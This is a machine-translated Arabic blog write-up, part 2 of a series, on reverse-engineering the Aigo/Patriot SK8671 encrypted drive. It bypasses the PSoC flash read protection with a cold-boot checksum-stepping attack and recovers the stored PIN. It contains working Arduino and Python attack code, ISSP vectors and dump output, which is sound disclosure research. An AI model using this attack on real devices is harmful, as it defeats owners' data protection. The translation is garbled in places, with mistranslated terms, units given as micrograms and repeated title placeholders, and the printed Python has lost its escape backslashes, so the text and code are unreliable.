عكس واختراق محرك الأقراص الصلبة الخارجي Aigo ذاتي التشفير. الجزء 2: إغراق السرو PSoC

هذا هو الجزء الثاني والأخير من المقالة حول اختراق محركات الأقراص الخارجية ذاتية التشفير. اسمحوا لي أن أذكركم أن أحد الزملاء أحضر لي مؤخرًا محرك الأقراص الثابتة Patriot (Aigo) SK8671، وقررت عكس اتجاهه، والآن أشارككم ما خرج منه. قبل مواصلة القراءة، تأكد من القراءة الجزء الاول المادة.

4. نبدأ في التفريغ من محرك أقراص فلاش PSoC الداخلي
5. بروتوكول ISSP
- 5.1. ما هو ISSP
- 5.2. إزالة الغموض عن النواقل
- 5.3. التواصل مع PSoC
- 5.4. تحديد السجلات على الرقائق
- 5.5. بت الأمن
6. الهجوم الأول (الفاشل): ROMX
7. الهجوم الثاني: تتبع إعادة التشغيل البارد
- 7.1. تطبيق
- 7.2. قراءة النتيجة
- 7.3. إعادة بناء ثنائي فلاش
– 7.4. العثور على عنوان تخزين رمز PIN
- 7.5. نقوم بإزالة تفريغ الكتلة رقم 126
- 7.6. استعادة رمز PIN
8. ماذا بعد؟
9. الخلاصة

عكس واختراق محرك الأقراص الصلبة الخارجي Aigo ذاتي التشفير. الجزء 2: إغراق السرو PSoC


4. نبدأ في التفريغ من محرك أقراص فلاش PSoC الداخلي

لذلك ، يشير كل شيء إلى (كما أوضحنا في [الجزء الأول] ()) أن الرمز السري مخزن في أحشاء الفلاش الخاصة بـ PSoC. لذلك ، نحن بحاجة إلى قراءة هذه الفوارق. أمام العمل اللازم:

  • السيطرة على "الاتصال" مع متحكم ؛
  • إيجاد طريقة للتحقق مما إذا كان هذا "الاتصال" محميًا من القراءة من الخارج ؛
  • إيجاد طريقة لتجاوز الحماية.

يوجد مكانان حيث يكون من المنطقي البحث عن رمز سري صالح:

  • ذاكرة فلاش داخلية
  • SRAM ، حيث يمكن تخزين الرمز السري لمقارنته بالرمز السري الذي أدخله المستخدم.

بالنظر إلى المستقبل ، سألاحظ أنني ما زلت أتمكن من تفريغ محرك أقراص فلاش PSoC الداخلي - تجاوز نظام الحماية الخاص به ، من خلال هجوم تتبع التمهيد البارد للأجهزة - بعد عكس الميزات غير الموثقة لبروتوكول ISSP. سمح لي هذا بتفريغ الرمز السري الفعلي مباشرة.

$ ./psoc.py 
syncing: KO OK
[...]
PIN: 1 2 3 4 5 6 7 8 9

كود البرنامج النهائي:

5. بروتوكول ISSP

5.1 ما هو ISSP

يمكن أن يعني "الاتصال" مع متحكم دقيق أي شيء من "بائع إلى بائع" إلى التفاعل باستخدام بروتوكول تسلسلي (مثل ICSP للموافقة المسبقة عن علم للرقاقة الدقيقة).

لدى Cypress بروتوكول خاص بها لهذا ، يسمى ISSP (بروتوكول البرمجة التسلسلية داخل النظام) ، والذي تم وصفه جزئيًا في المواصفات الفنية. براءة الاختراع US7185162 يعطي أيضا بعض المعلومات. هناك أيضًا نظير مفتوح المصدر يسمى HSSP (سنستخدمه لاحقًا). يعمل ISSP على النحو التالي:

  • إعادة تشغيل PSoC؛
  • إخراج رقم سحري إلى جزء البيانات التسلسلية من PSoC ؛ للدخول إلى وضع البرمجة الخارجية ؛
  • إرسال الأوامر التي هي سلاسل طويلة بت تسمى "المتجهات".

تحدد وثائق ISSP هذه المتجهات لعدد قليل من التعليمات:

  • تهيئة -1
  • تهيئة -2
  • التهيئة-3 (خيارات 3V و5V)
  • إعداد الهوية
  • قراءة معرف كلمة
  • SET-BLOCK-NUM: 10011111010ddddddddd111 حيث dddddddd = block #
  • محو بالجملة
  • كتلة البرنامج
  • التحقق من الإعداد
  • READ-BYTE: 10110aaaaaaZDDDDDDDDZ1 حيث DDDDDDDD = خرج البيانات ، aaaaaa = العنوان (6 بت)
  • WRITE-BYTE: 10010aaaaaadddddddd111 حيث dddddddd = البيانات في ، aaaaaa = العنوان (6 بتات)
  • على أمان
  • إعداد الشيكات
  • قراءة-التحقق: 10111111001ZDDDDDDDDZ110111111000ZDDDDDDDDZ1 ، حيث DDDDDDDDDDDDDDDD = إخراج البيانات: المجموع الاختباري للجهاز
  • مسح الكتلة

على سبيل المثال ، متجه لـ Initialize-2:

1101111011100000000111 1101111011000000000111
1001111100000111010111 1001111100100000011111
1101111010100000000111 1101111010000000011111
1001111101110000000111 1101111100100110000111
1101111101001000000111 1001111101000000001111
1101111000000000110111 1101111100000000000111
1101111111100010010111

جميع المتجهات لها نفس الطول: 22 بت. تحتوي وثائق HSSP على بعض المعلومات الإضافية حول ISSP: "ناقل ISSP ليس أكثر من تسلسل بت ، وهو مجموعة من التعليمات."

5.2 إزالة الغموض عن النواقل

لنكتشف ما يحدث هنا. في البداية ، افترضت أن هذه المتجهات نفسها كانت نسخًا أولية من تعليمات M8C ، ولكن بعد التحقق من هذه الفرضية ، وجدت أن أكواد التشغيل للعمليات غير متطابقة.

ثم بحثت في المتجه أعلاه وصادفته هذا دراسة حيث يقدم المؤلف ، رغم عدم الغوص في التفاصيل ، بعض الأدلة العملية: "تبدأ كل تعليمات بثلاث بتات تتوافق مع واحدة من فن الإستذكار الأربعة (اقرأ من ذاكرة الوصول العشوائي ، اكتب إلى ذاكرة الوصول العشوائي ، اقرأ سجل ، اكتب سجل). ثم يأتي العنوان المكون من 8 بتات ، متبوعًا بـ 8 بتات من البيانات (قراءة أو كتابة) ، وأخيراً ثلاث بتات توقف.

ثم تمكنت من الحصول على بعض المعلومات المفيدة جدًا من قسم ROM الإشرافي (SROM). دليل تقني. SROM عبارة عن ذاكرة ROM مضمنة ، في PSoC ، توفر خدمات (بطريقة مماثلة لـ Syscall) لرمز البرنامج الذي يعمل في مساحة المستخدم:

  • 00 ساعة: إعادة تعيين SWBoot
  • 01h: قراءة بلوك
  • 02 ح: WriteBlock
  • 03 ح: محو الحظر
  • 06 ح: منضدة القراءة
  • 07 ح: المجموع الاختباري
  • 08 ح: معايرة 0
  • 09 ح: معايرة 1

بمقارنة أسماء المتجهات بوظائف SROM ، يمكننا مطابقة العمليات المختلفة التي يدعمها هذا البروتوكول مع معلمات SROM المتوقعة. بفضل هذا ، يمكننا فك تشفير الأجزاء الثلاثة الأولى من متجهات ISSP:

  • 100
  • 101 => "rdmem"
  • 110
  • 111

ومع ذلك ، لا يمكن الحصول على الفهم الكامل للعمليات على الرقاقة إلا من خلال الاتصال المباشر مع PSoC.

5.3 التواصل مع PSoC

منذ ديرك بتراوتسكي بالفعل استدار Cypress 'Arduino HSSP code ، لقد استخدمت Arduino Uno للاتصال برأس ISSP الخاص بلوحة المفاتيح.

يرجى ملاحظة أنه في سياق بحثي ، قمت بتغيير رمز Dirk قليلاً. يمكنك العثور على تعديلي على GitHub: هنا ونص Python المقابل للتواصل مع Arduino ، في مستودعي cypress_psoc_tools.

لذلك ، باستخدام Arduino ، استخدمت أولاً ناقلات "رسمية" فقط "للتواصل". حاولت قراءة ROM الداخلي باستخدام أمر التحقق. كما هو متوقع ، فشلت في القيام بذلك. ربما بسبب تنشيط بت حماية القراءة داخل محرك أقراص فلاش.

ثم قمت بإنشاء بعض النواقل البسيطة الخاصة بي لكتابة وقراءة الذاكرة / السجلات. يرجى ملاحظة أنه يمكننا قراءة SROM بالكامل ، على الرغم من حماية محرك الأقراص المحمول!

5.4. تحديد السجلات على الرقائق

بالنظر إلى المتجهات "المفككة" ، وجدت أن الجهاز يستخدم سجلات غير موثقة (0xF8-0xFA) لتحديد أكواد تشغيل M8C التي يتم تنفيذها مباشرة ، متجاوزًا الأمان. سمح لي هذا بتشغيل أكواد تشغيل مختلفة مثل "ADD" أو "MOV A أو X" أو "PUSH" أو "JMP". بفضلهم (من خلال النظر إلى الآثار الجانبية الموجودة على السجلات) تمكنت من تحديد أي من السجلات غير الموثقة هي في الواقع سجلات عادية (A و X و SP و PC).

نتيجة لذلك ، يبدو الرمز "المفكك" الذي تم إنشاؤه بواسطة أداة HSSP_disas.rb كما يلي (أضفت تعليقات من أجل الوضوح):

--== init2 ==--
[DE E0 1C] wrreg CPU_F (f7), 0x00   # сброс флагов
[DE C0 1C] wrreg SP (f6), 0x00      # сброс SP
[9F 07 5C] wrmem KEY1, 0x3A     # обязательный аргумент для SSC
[9F 20 7C] wrmem KEY2, 0x03     # аналогично
[DE A0 1C] wrreg PCh (f5), 0x00     # сброс PC (MSB) ...
[DE 80 7C] wrreg PCl (f4), 0x03     # (LSB) ... до 3 ??
[9F 70 1C] wrmem POINTER, 0x80      # RAM-указатель для выходных данных
[DF 26 1C] wrreg opc1 (f9), 0x30        # Опкод 1 => "HALT"
[DF 48 1C] wrreg opc2 (fa), 0x40        # Опкод 2 => "NOP"
[9F 40 3C] wrmem BLOCKID, 0x01  # BLOCK ID для вызова SSC
[DE 00 DC] wrreg A (f0), 0x06       # номер "Syscall" : TableRead
[DF 00 1C] wrreg opc0 (f8), 0x00        # Опкод для SSC, "Supervisory SROM Call"
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12    # Недокумментированная операция: выполнить внешний опкод

5.5 بت الأمن

في هذه المرحلة ، يمكنني بالفعل الاتصال بـ PSoC ، لكن ما زلت لا أملك معلومات موثوقة حول أجزاء الأمان لمحرك الأقراص المحمول. لقد فوجئت جدًا بحقيقة أن Cypress لا تمنح مستخدم الجهاز أي وسيلة للتحقق مما إذا تم تنشيط الحماية. بحثت في Google لأفهم أخيرًا أن كود HSSP المقدم من Cypress قد تم تحديثه بعد أن أصدر Dirk تعديله. و حينئذ! هنا ناقل جديد:

[DE E0 1C] wrreg CPU_F (f7), 0x00
[DE C0 1C] wrreg SP (f6), 0x00
[9F 07 5C] wrmem KEY1, 0x3A
[9F 20 7C] wrmem KEY2, 0x03
[9F A0 1C] wrmem 0xFD, 0x00 # неизвестные аргументы
[9F E0 1C] wrmem 0xFF, 0x00 # аналогично
[DE A0 1C] wrreg PCh (f5), 0x00
[DE 80 7C] wrreg PCl (f4), 0x03
[9F 70 1C] wrmem POINTER, 0x80
[DF 26 1C] wrreg opc1 (f9), 0x30
[DF 48 1C] wrreg opc2 (fa), 0x40
[DE 02 1C] wrreg A (f0), 0x10   # недокументированный syscall !
[DF 00 1C] wrreg opc0 (f8), 0x00
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12

باستخدام هذا المتجه (انظر read_security_data في psoc.py) ، نحصل على جميع بتات الأمان في SRAM عند 0x80 ، حيث يوجد بتان لكل كتلة أمان.

والنتيجة محبطة: كل شيء محمي في وضع "تعطيل القراءة والكتابة الخارجية". لذلك ، لا يمكننا قراءة أي شيء من محرك أقراص فلاش فحسب ، بل يمكننا أيضًا كتابة أي شيء (على سبيل المثال ، لتقديم قلابة ROM هناك). والطريقة الوحيدة لتعطيل الحماية هي محو الشريحة بالكامل. 🙁

6. الهجوم الأول (الفاشل): ROMX

ومع ذلك ، يمكننا تجربة الحيلة التالية: نظرًا لأن لدينا القدرة على تنفيذ أكواد التشغيل التعسفية ، فلماذا لا ننفذ ROMX ، والذي يستخدم لقراءة ذاكرة فلاش؟ هذا النهج لديه فرصة جيدة للنجاح. لأن وظيفة ReadBlock التي تقرأ البيانات من SROM (التي تستخدمها المتجهات) تتحقق مما إذا كان يتم استدعاؤها من ISSP. ومع ذلك ، قد لا يكون لرمز التشغيل ROMX هذا الاختيار. إذن ، هذا هو كود Python (بعد إضافة بعض الفئات المساعدة إلى كود Sish Arduino):

for i in range(0, 8192):
    write_reg(0xF0, i>>8)       # A = 0
    write_reg(0xF3, i&0xFF)     # X = 0
    exec_opcodes("x28x30x40")    # ROMX, HALT, NOP
    byte = read_reg(0xF0)       # ROMX reads ROM[A|X] into A
    print "%02x" % ord(byte[0]) # print ROM byte

للأسف هذا الكود لا يعمل. 🙁 أو بالأحرى يعمل، ولكننا نحصل على أكواد التشغيل الخاصة بنا عند الإخراج (0x28 0x30 0x40)! لا أعتقد أن الوظيفة المقابلة للجهاز هي عنصر حماية القراءة. وهذا أشبه بخدعة هندسية: عند تنفيذ أكواد التشغيل الخارجية، تتم إعادة توجيه ناقل ROM إلى مخزن مؤقت.

7. الهجوم الثاني: تتبع إعادة التشغيل البارد

نظرًا لأن خدعة ROMX لم تنجح، فقد بدأت أفكر في نسخة أخرى من هذه الخدعة - الموصوفة في المنشور "إلقاء الكثير من الضوء على حماية البرامج الثابتة لوحدة التحكم الدقيقة".

7.1. التنفيذ

تعطي وثائق ISSP المتجه التالي لإعداد CHECKSUM-SETUP:

[DE E0 1C] wrreg CPU_F (f7), 0x00
[DE C0 1C] wrreg SP (f6), 0x00
[9F 07 5C] wrmem KEY1, 0x3A
[9F 20 7C] wrmem KEY2, 0x03
[DE A0 1C] wrreg PCh (f5), 0x00
[DE 80 7C] wrreg PCl (f4), 0x03
[9F 70 1C] wrmem POINTER, 0x80
[DF 26 1C] wrreg opc1 (f9), 0x30
[DF 48 1C] wrreg opc2 (fa), 0x40
[9F 40 1C] wrmem BLOCKID, 0x00
[DE 00 FC] wrreg A (f0), 0x07
[DF 00 1C] wrreg opc0 (f8), 0x00
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12

يستدعي هذا بشكل أساسي وظيفة SROM 0x07، كما هو موضح في الوثائق (الخط المائل الخاص بي):

هذه وظيفة فحص المجموع الاختباري. يقوم بحساب مجموع اختباري 16 بت لعدد الكتل المحددة من قبل المستخدم - في بنك فلاش واحد ، يتم العد من الصفر. يتم استخدام معلمة BLOCKID لتمرير عدد الكتل التي سيتم استخدامها عند حساب المجموع الاختباري. القيمة "1" ستحسب فقط المجموع الاختباري للكتلة صفر ؛ بينما سيؤدي "0" إلى احتساب المجموع الاختباري لجميع الكتل الـ 256 لبنك الفلاش. يتم إرجاع مجموع اختباري 16 بت عبر KEY1 و KEY2. في المعلمة KEY1 ، يتم إصلاح 8 بتات السفلية من المجموع الاختباري ، وفي KEY2 ، أعلى 8 بتات. بالنسبة للأجهزة التي تحتوي على بنوك فلاش متعددة ، يتم استدعاء وظيفة المجموع الاختباري لكل على حدة. يتم تعيين رقم البنك الذي سيعمل معه بواسطة سجل FLS_PR1 (عن طريق تعيين البت فيه المقابل لبنك الفلاش المستهدف).

لاحظ أن هذا هو أبسط مجموع اختباري: يتم ببساطة إضافة البايت واحدًا تلو الآخر ؛ لا المراوغات CRC الفاخرة. بالإضافة إلى ذلك ، مع العلم أن مجموعة السجلات في جوهر M8C صغيرة جدًا ، افترضت أنه عند حساب المجموع الاختباري ، سيتم إصلاح القيم الوسيطة في نفس المتغيرات التي ستنتقل في النهاية إلى الإخراج: KEY1 (0xF8) / KEY2 (0xF9).

لذا من الناحية النظرية، يبدو هجومي كما يلي:

  1. نحن نتواصل من خلال ISSP.
  2. نبدأ حساب المجموع الاختباري باستخدام ناقل CHECKSUM-SETUP.
  3. نعيد تشغيل المعالج بعد وقت معين من T.
  4. اقرأ RAM للحصول على المجموع الاختباري C الحالي.
  5. كرر الخطوتين 3 و 4 ، في كل مرة قم بزيادة T.
  6. نقوم باستعادة البيانات من محرك أقراص فلاش عن طريق طرح المجموع الاختباري السابق C من المجموع الحالي.

ومع ذلك ، كانت هناك مشكلة: المتجه Initialize-1 ، الذي يتعين علينا إرساله بعد إعادة التحميل ، يقوم بالكتابة فوق KEY1 و KEY2:

1100101000000000000000  # Магия, переводящая PSoC в режим программирования
nop
nop
nop
nop
nop
[DE E0 1C] wrreg CPU_F (f7), 0x00
[DE C0 1C] wrreg SP (f6), 0x00
[9F 07 5C] wrmem KEY1, 0x3A # контрольная сумма перезаписывается здесь
[9F 20 7C] wrmem KEY2, 0x03 # и здесь
[DE A0 1C] wrreg PCh (f5), 0x00
[DE 80 7C] wrreg PCl (f4), 0x03
[9F 70 1C] wrmem POINTER, 0x80
[DF 26 1C] wrreg opc1 (f9), 0x30
[DF 48 1C] wrreg opc2 (fa), 0x40
[DE 01 3C] wrreg A (f0), 0x09   # SROM-функция 9
[DF 00 1C] wrreg opc0 (f8), 0x00    # SSC
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12

يقوم هذا الرمز بالكتابة فوق المجموع الاختباري الثمين عن طريق استدعاء Calibrate1 (وظيفة SROM 9) ... ربما يمكننا فقط إرسال الرقم السحري (من بداية الكود أعلاه) إلى وضع البرمجة ثم قراءة SRAM؟ ونعم ، إنه يعمل! كود Arduino الذي ينفذ هذا الهجوم بسيط للغاية:

case Cmnd_STK_START_CSUM:
    checksum_delay = ((uint32_t)getch())<<24;
    checksum_delay |= ((uint32_t)getch())<<16;
    checksum_delay |= ((uint32_t)getch())<<8;
    checksum_delay |= getch();
    if(checksum_delay > 10000) {
        ms_delay = checksum_delay/1000;
        checksum_delay = checksum_delay%1000;
    }
    else {
        ms_delay = 0;
    }
    send_checksum_v();
    if(checksum_delay)
        delayMicroseconds(checksum_delay);
    delay(ms_delay);
    start_pmode();

  1. قراءة checkum_delay.
  2. ابدأ حساب المجموع الاختباري (send_checksum_v).
  3. انتظر فترة زمنية محددة ؛ بالنظر إلى المزالق التالية:
    • لقد قتلت الكثير من الوقت حتى اكتشفت ذلك تأخير يعمل بشكل صحيح فقط مع تأخيرات لا تتجاوز 16383 ميكرون ؛
    • ثم قتل نفس القدر من الوقت مرة أخرى ، حتى اكتشف أن التأخيرالميكروثانية ، إذا مررت 0 إليه كمدخل ، لا يعمل على الإطلاق!
  4. أعد تحميل PSoC في وضع البرمجة (فقط إرسال رقم سحري ، دون إرسال ناقلات التهيئة).

الكود النهائي في بايثون:

for delay in range(0, 150000):  # задержка в микросекундах
    for i in range(0, 10):      # количество считывания для каждойиз задержек
        try:
            reset_psoc(quiet=True)  # перезагрузка и вход в режим программирования
            send_vectors()      # отправка инициализирующих векторов
            ser.write("x85"+struct.pack(">I", delay)) # вычислить контрольную сумму + перезагрузиться после задержки
            res = ser.read(1)       # считать arduino ACK
        except Exception as e:
            print e
            ser.close()
            os.system("timeout -s KILL 1s picocom -b 115200 /dev/ttyACM0 2>&1 > /dev/null")
            ser = serial.Serial('/dev/ttyACM0', 115200, timeout=0.5) # открыть последовательный порт
            continue
        print "%05d %02X %02X %02X" % (delay,      # считать RAM-байты
                read_regb(0xf1),
                read_ramb(0xf8),
                read_ramb(0xf9))

باختصار ، ما يفعله هذا الرمز:

  1. يعيد تحميل PSoC (ويرسله رقمًا سحريًا).
  2. يرسل ناقلات التهيئة كاملة.
  3. يستدعي دالة Arduino Cmnd_STK_START_CSUM (0x85)، حيث يتم تمرير التأخير بالميكرو ثانية كمعلمة.
  4. يقرأ المجموع الاختباري (0xF8 و 0xF9) والسجل غير الموثق 0xF1.

يتم تنفيذ هذا الرمز 10 مرات في 1 ميكرو ثانية. يتم تضمين 0xF1 هنا لأنه كان السجل الوحيد الذي تغير عند حساب المجموع الاختباري. ربما يكون هذا نوعًا من المتغيرات المؤقتة التي تستخدمها وحدة المنطق الحسابي. لاحظ الاختراق القبيح الذي أستخدمه لإعادة تعيين Arduino باستخدام picocom عندما يتوقف Arduino عن إصدار صوت تنبيه (ليس لدي أي فكرة عن السبب).

7.2. قراءة النتيجة

تبدو نتيجة نص بايثون كما يلي (مبسطة لسهولة القراءة):

DELAY F1 F8 F9  # F1 – вышеупомянутый неизвестный регистр
                  # F8 младший байт контрольной суммы
                  # F9 старший байт контрольной суммы

00000 03 E1 19
[...]
00016 F9 00 03
00016 F9 00 00
00016 F9 00 03
00016 F9 00 03
00016 F9 00 03
00016 F9 00 00  # контрольная сумма сбрасывается в 0
00017 FB 00 00
[...]
00023 F8 00 00
00024 80 80 00  # 1-й байт: 0x0080-0x0000 = 0x80 
00024 80 80 00
00024 80 80 00
[...]
00057 CC E7 00   # 2-й байт: 0xE7-0x80: 0x67
00057 CC E7 00
00057 01 17 01  # понятия не имею, что здесь происходит
00057 01 17 01
00057 01 17 01
00058 D0 17 01
00058 D0 17 01
00058 D0 17 01
00058 D0 17 01
00058 F8 E7 00  # Снова E7?
00058 D0 17 01
[...]
00059 E7 E7 00
00060 17 17 00  # Хмммммм
[...]
00062 00 17 00
00062 00 17 00
00063 01 17 01  # А, дошло! Вот он же перенос в старший байт
00063 01 17 01
[...]
00075 CC 17 01  # Итак, 0x117-0xE7: 0x30

ومع ذلك ، لدينا مشكلة: نظرًا لأننا نعمل مع المجموع الاختباري الفعلي ، فإن البايت الصفري لا يغير قيمة القراءة. ومع ذلك ، نظرًا لأن إجراء الحساب بالكامل (8192 بايت) يستغرق 0,1478 ثانية (مع انحرافات صغيرة في كل عملية تشغيل) ، وهو ما يقرب من 18,04 ميكرو جرام لكل بايت ، يمكننا استخدام هذا الوقت للتحقق من قيمة المجموع الاختباري في الأوقات المناسبة. بالنسبة للتشغيل الأول ، تتم قراءة كل شيء بسهولة تامة ، نظرًا لأن مدة الإجراء الحسابي دائمًا ما تكون هي نفسها تقريبًا. ومع ذلك ، فإن نهاية هذا التفريغ أقل دقة لأن "الانحرافات الطفيفة في التوقيت" في كل شوط تضاف لتصبح مهمة:

134023 D0 02 DD
134023 CC D2 DC
134023 CC D2 DC
134023 CC D2 DC
134023 FB D2 DC
134023 3F D2 DC
134023 CC D2 DC
134024 02 02 DC
134024 CC D2 DC
134024 F9 02 DC
134024 03 02 DD
134024 21 02 DD
134024 02 D2 DC
134024 02 02 DC
134024 02 02 DC
134024 F8 D2 DC
134024 F8 D2 DC
134025 CC D2 DC
134025 EF D2 DC
134025 21 02 DD
134025 F8 D2 DC
134025 21 02 DD
134025 CC D2 DC
134025 04 D2 DC
134025 FB D2 DC
134025 CC D2 DC
134025 FB 02 DD
134026 03 02 DD
134026 21 02 DD

هذا هو 10 مقالب لكل تأخير ميكروثانية. يبلغ إجمالي وقت العمل لتفريغ كل 8192 بايت من محرك أقراص فلاش حوالي 48 ساعة.

7.3. إعادة بناء ثنائي فلاش

لم أنتهي بعد من كتابة الكود الذي يعيد بناء رمز البرنامج بالكامل لمحرك الأقراص المحمول ، مع مراعاة جميع الانحرافات في الوقت المناسب. ومع ذلك ، فقد استعدت بالفعل بداية هذا الرمز. للتأكد من أنني قمت بذلك بشكل صحيح ، قمت بتفكيكه باستخدام m8cdis:

0000: 80 67   jmp  0068h     ; Reset vector
[...]
0068: 71 10   or  F,010h
006a: 62 e3 87 mov  reg[VLT_CR],087h
006d: 70 ef   and  F,0efh
006f: 41 fe fb and  reg[CPU_SCR1],0fbh
0072: 50 80   mov  A,080h
0074: 4e    swap A,SP
0075: 55 fa 01 mov  [0fah],001h
0078: 4f    mov  X,SP
0079: 5b    mov  A,X
007a: 01 03   add  A,003h
007c: 53 f9   mov  [0f9h],A
007e: 55 f8 3a mov  [0f8h],03ah
0081: 50 06   mov  A,006h
0083: 00    ssc
[...]
0122: 18    pop  A
0123: 71 10   or  F,010h
0125: 43 e3 10 or  reg[VLT_CR],010h
0128: 70 00   and  F,000h ; Paging mode changed from 3 to 0
012a: ef 62   jacc 008dh
012c: e0 00   jacc 012dh
012e: 71 10   or  F,010h
0130: 62 e0 02 mov  reg[OSC_CR0],002h
0133: 70 ef   and  F,0efh
0135: 62 e2 00 mov  reg[INT_VC],000h
0138: 7c 19 30 lcall 1930h
013b: 8f ff   jmp  013bh
013d: 50 08   mov  A,008h
013f: 7f    ret

تبدو حقيقية تماما!

7.4. البحث عن عنوان تخزين الرمز السري

الآن بعد أن أصبح بإمكاننا قراءة المجموع الاختباري في الأوقات التي نحتاجها ، يمكننا بسهولة التحقق من كيف وأين يتغير عندما:

  • أدخل الرمز السري الخطأ ؛
  • تغيير الرمز السري.

أولاً ، للعثور على عنوان تخزين تقريبي ، أخذت ملف تفريغ اختباري بزيادات قدرها 10 مللي ثانية بعد إعادة التشغيل. ثم أدخلت الرمز السري الخطأ وفعلت الشيء نفسه.

لم تكن النتيجة ممتعة للغاية ، لأنه كان هناك العديد من التغييرات. لكن في النهاية تمكنت من إثبات أن المجموع الاختباري قد تغير في مكان ما بين 120000 و 140000 من التأخير. لكن "الرمز السري" الذي وجدته كان خاطئًا تمامًا - بسبب قطعة أثرية من إجراء تأخير ميكروثانية ، والذي يقوم بأشياء غريبة عندما يتم تمرير 0 إليه.

بعد ذلك ، بعد قضاء ما يقرب من 3 ساعات ، تذكرت أن استدعاء نظام المجموع الاختباري الخاص بـ SROM يأخذ وسيطة كمدخل يحدد عدد الكتل للمجموع الاختباري! الذي - التي. يمكننا بسهولة ترجمة عنوان تخزين الرمز السري وعداد "المحاولات غير الصالحة" - بدقة 64 بايت.

أعطت عمليات التشغيل الأولية الخاصة بي النتيجة التالية:

عكس واختراق محرك الأقراص الصلبة الخارجي Aigo ذاتي التشفير. الجزء 2: إغراق السرو PSoC

ثم قمت بتغيير الرمز السري من "123456" إلى "1234567" وحصلت على:

عكس واختراق محرك الأقراص الصلبة الخارجي Aigo ذاتي التشفير. الجزء 2: إغراق السرو PSoC

وبالتالي ، يبدو أنه تم تخزين الرمز السري وعداد المحاولات غير الصالحة في الكتلة رقم 126.

7.5 نقوم بإزالة تفريغ الكتلة رقم 126

يجب أن تكون الكتلة رقم 126 في مكان ما حول 125x64x18 = 144000µs ، من بداية حساب المجموع الاختباري ، في ملف التفريغ الكامل الخاص بي ، ويبدو معقولًا تمامًا. بعد ذلك ، بعد تصفية العديد من عمليات التفريغ السيئة يدويًا (نظرًا لتراكم "انحرافات زمنية بسيطة") ، انتهى بي الأمر بهذه البايت (بتأخير 145527 s):

عكس واختراق محرك الأقراص الصلبة الخارجي Aigo ذاتي التشفير. الجزء 2: إغراق السرو PSoC

من الواضح تمامًا أن الرمز السري يتم تخزينه بدون تشفير! هذه القيم ، بالطبع ، ليست مكتوبة برموز ASCII ، ولكن كما اتضح ، فإنها تعكس القراءات المأخوذة من لوحة المفاتيح السعوية.

أخيرًا ، أجريت بعض الاختبارات لمعرفة مكان تخزين عداد المحاولة السيئة. ها هي النتيجة:

عكس واختراق محرك الأقراص الصلبة الخارجي Aigo ذاتي التشفير. الجزء 2: إغراق السرو PSoC

0xFF تعني "15 محاولة" وتقل مع كل محاولة خاطئة.

7.6. استعادة رمز PIN

إليك الكود القبيح الذي يجمع ما سبق معًا:

def dump_pin():
  pin_map = {0x24: "0", 0x25: "1", 0x26: "2", 0x27:"3", 0x20: "4", 0x21: "5",
        0x22: "6", 0x23: "7", 0x2c: "8", 0x2d: "9"}
  last_csum = 0
  pin_bytes = []
  for delay in range(145495, 145719, 16):
    csum = csum_at(delay, 1)
    byte = (csum-last_csum)&0xFF
    print "%05d %04x (%04x) => %02x" % (delay, csum, last_csum, byte)
    pin_bytes.append(byte)
    last_csum = csum
  print "PIN: ",
  for i in range(0, len(pin_bytes)):
    if pin_bytes[i] in pin_map:
      print pin_map[pin_bytes[i]],
  print

ها هي نتيجة تنفيذه:

$ ./psoc.py 
syncing: KO OK
Resetting PSoC: KO Resetting PSoC: KO Resetting PSoC: OK
145495 53e2 (0000) => e2
145511 5407 (53e2) => 25
145527 542d (5407) => 26
145543 5454 (542d) => 27
145559 5474 (5454) => 20
145575 5495 (5474) => 21
145591 54b7 (5495) => 22
145607 54da (54b7) => 23
145623 5506 (54da) => 2c
145639 5506 (5506) => 00
145655 5533 (5506) => 2d
145671 554c (5533) => 19
145687 554e (554c) => 02
145703 554e (554e) => 00
PIN: 1 2 3 4 5 6 7 8 9

الصيحة! يعمل!

يرجى ملاحظة أن قيم التأخير التي استخدمتها هي على الأرجح ذات صلة بميزة PSoC معينة - تلك التي استخدمتها.

8. ماذا بعد؟

لذا ، دعنا نلخص جانب PSoC ، في سياق محرك Aigo الخاص بنا:

  • يمكننا قراءة SRAM حتى لو كانت محمية للقراءة ؛
  • يمكننا تجاوز حماية القراءة باستخدام هجوم تتبع إعادة التشغيل البارد وقراءة الرمز السري مباشرةً.

ومع ذلك ، فإن هجومنا به بعض أوجه القصور بسبب مشاكل المزامنة. يمكن تحسينه على النحو التالي:

  • كتابة أداة مساعدة لفك تشفير الإخراج الذي تم الحصول عليه بشكل صحيح نتيجة لهجوم تتبع إعادة التحميل البارد ؛
  • استخدم أدوات FPGA لإنشاء تأخيرات زمنية أكثر دقة (أو استخدم أجهزة توقيت أجهزة Arduino) ؛
  • حاول هجومًا آخر: أدخل رمز PIN غير صحيح عن عمد، وأعد التشغيل وتفريغ ذاكرة الوصول العشوائي، على أمل أن يتم حفظ رمز PIN الصحيح في ذاكرة الوصول العشوائي للمقارنة. ومع ذلك، ليس من السهل القيام بذلك على Arduino، حيث أن مستوى إشارة Arduino هو 5 فولت، في حين أن اللوحة التي نفحصها تعمل بإشارات 3,3 فولت.

أحد الأشياء المثيرة للاهتمام التي يجب تجربتها هو التلاعب بمستوى الجهد لتجاوز حماية القراءة. إذا نجح هذا النهج ، فسنكون قادرين على الحصول على بيانات دقيقة تمامًا من محرك الأقراص المحمول - بدلاً من الاعتماد على قراءة المجموع الاختباري مع تأخيرات زمنية غير دقيقة.

نظرًا لأن SROM ربما يقرأ بتات الحراسة عبر استدعاء نظام ReadBlock ، يمكننا أن نفعل نفس الشيء وصفها على مدونة ديمتري نيدوسباسوف - إعادة تنفيذ هجوم كريس جيرلينسكي ، المعلن في المؤتمر ريكون بروكسل 2017.

شيء ممتع آخر يمكن القيام به هو إزالة العلبة من الشريحة: تفريغ ذاكرة الوصول العشوائي SRAM وتحديد مكالمات النظام غير الموثقة ونقاط الضعف.

9. الخلاصة

لذا ، فإن حماية محرك الأقراص هذا يترك الكثير مما هو مرغوب فيه ، لأنه يستخدم متحكمًا دقيقًا عاديًا (وليس "مقويًا") لتخزين الرمز السري ... بالإضافة إلى ذلك ، لم أبحث (حتى الآن) عن كيفية عمل الأشياء مع تشفير البيانات على هذا جهاز!

